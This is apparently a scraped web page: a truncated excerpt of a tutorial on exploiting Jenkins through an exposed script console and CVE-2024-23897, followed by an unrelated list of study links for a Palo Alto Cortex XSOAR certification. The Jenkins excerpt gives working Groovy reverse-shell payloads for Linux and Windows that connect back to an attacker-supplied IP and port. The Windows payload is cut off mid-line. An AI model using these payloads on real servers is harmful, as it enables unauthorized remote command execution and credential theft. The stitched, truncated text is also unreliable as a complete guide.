Exploiting Jenkins / CVE-2024-23897 Often the script console is accessible without authentication due to misconfig on http://JENKINS_IP/script If you don't have access to script console and the version is vulnerable to CVE-2024-23897 , then exploit it to read files and get authentication credentials for Jenkins, (explained below) Groovy scripts can be executed from the script console. To get a reverse shell, execute the following script. For Linux, r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/YOUR_IP/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() For Windows, String host="YOUR_IP"; int port=PORT; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStrea...
Practice test on Udemy : Link
Book : Link
Exam Review : https://www.jaacostan.com/2021/02/palo-alto-networks-certified-security.html
Administration Guide : https://docs.paloaltonetworks.com/cortex/cortex-xsoar/6-1/cortex-xsoar-admin.html
Cortex XSOAR Threat Intel Management Guide : https://docs.paloaltonetworks.com/cortex/cortex-xsoar/6-1/cortex-xsoar-threat-intel-management-guide.html
Cortex XSOAR Multi-Tenant Guide : https://docs.paloaltonetworks.com/cortex/cortex-xsoar/6-1/cortex-xsoar-multi-tenant-guide.html
Study Guide : https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/datasheets/education/pcsae-study-guide.pdf
XSOAR Use Case Definition Template : https://live.paloaltonetworks.com/t5/cortex-xsoar-articles/xsoar-use-case-definition-template/ta-p/344478
Free Training Course available at https://beacon.paloaltonetworks.com
Request Community edition : https://start.paloaltonetworks.com/sign-up-for-community-edition.html
